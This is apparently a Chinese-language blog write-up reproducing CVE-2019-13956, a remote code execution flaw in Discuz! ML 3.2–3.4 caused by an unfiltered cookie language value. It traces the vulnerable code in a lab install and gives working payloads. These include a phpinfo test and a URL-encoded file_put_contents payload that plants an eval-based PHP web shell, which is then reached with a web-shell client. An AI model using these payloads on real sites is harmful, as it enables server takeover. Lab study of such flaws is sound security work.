写点什么

Discuz! ML 远程代码执行 (CVE-2019-13956)

作者:喀拉峻
  • 2022 年 3 月 08 日
  • 本文字数:799 字

    阅读完需:约 3 分钟

一、漏洞描述

该漏洞存在 discuz ml(多国语言版)中,cookie 中的 language 可控并且没有严格过滤,导致可以远程代码执行。

二、漏洞影响版本

Discuz! ML V3.2

Discuz! ML V3.3

Discuz! ML V3.4

三、漏洞环境搭建

  1. 官网下载 Discuz! ML V3.4,下载地址: http://discuz.ml/download

  2. 将压缩包解压到 phpstudy 网站根目录,浏览器访问 upload 目录开始安装

  


  1. 然后就是一直点击下一步就可以了,直到完成安装

  


四、漏洞复现

  1. 漏洞存在的位置/upload/source/module/portal/portal_index.php,使用 template 函数处理’diy:portal/index’,然后使用 include_once 包含

  


  1. 跟进 template 函数,发现把 DISCUZ_LANG 函数拼接成为一个缓存文件名,然后又返回了缓存文件名

  


  1. 跟进 DISCUZ_LANG 函数,发现从 cookie 中取 language 的值给 $lng

  


  1. 继续浏览代码,发现把 $lng 的值赋给 DISCUZ_LANG 了

  


  1. 到此为止,整个漏洞分析过程已结束,过程如下:

外部参数 $lng(即 cookie 中的 language 语言)可控,导致 DISCUZ_LANG 函数获取 $lng,然后拼接成缓存文件并且返回了缓存文件名,导致 template 函数生成的缓存文件名可控,插入自己的代码,最终 include_once 函数包含一下导致了代码注入(执行了插入恶意代码的缓存文件名)。

surprise! 500G 网络安全学习资料,👉戳此免费获取

  1. 测试漏洞,随便点击一个页面,抓包,将 Cookie 中的 xxx_language 参数值改为’.phpinfo().’,发现成功执行了代码

  


  1. 查看缓存文件,发现缓存文件名被修改如下

  


  1. getshell

8.1 尝试上传一个 shell,构造 payload,如下:

'.file_put_contents('shell.php','<?php eval($_POST[cmd]);?>').'

执行提示错误,可能是编码的原因

  


8.2、尝试对 payload 进行全部编码,失败,只有使用如下 payload 才能成功

%27.+file_put_contents%28%27shell.php%27%2Curldecode%28%27%253c%253fphp+%2520eval%28%2524_%2550%254f%2553%2554%255b%2522cmd%2522%255d%29%253b%253f%253e%27%29%29.%27

  


8.3、查看是否成功上传 shell.php,发现成功上传

  


8.4、菜刀连接

  


用户头像

喀拉峻

关注

左手Java右手Python,中间纹个C++ 2021.06.26 加入

还未添加个人简介

评论

发布
暂无评论
Discuz! ML远程代码执行(CVE-2019-13956)_网络安全_喀拉峻_InfoQ写作平台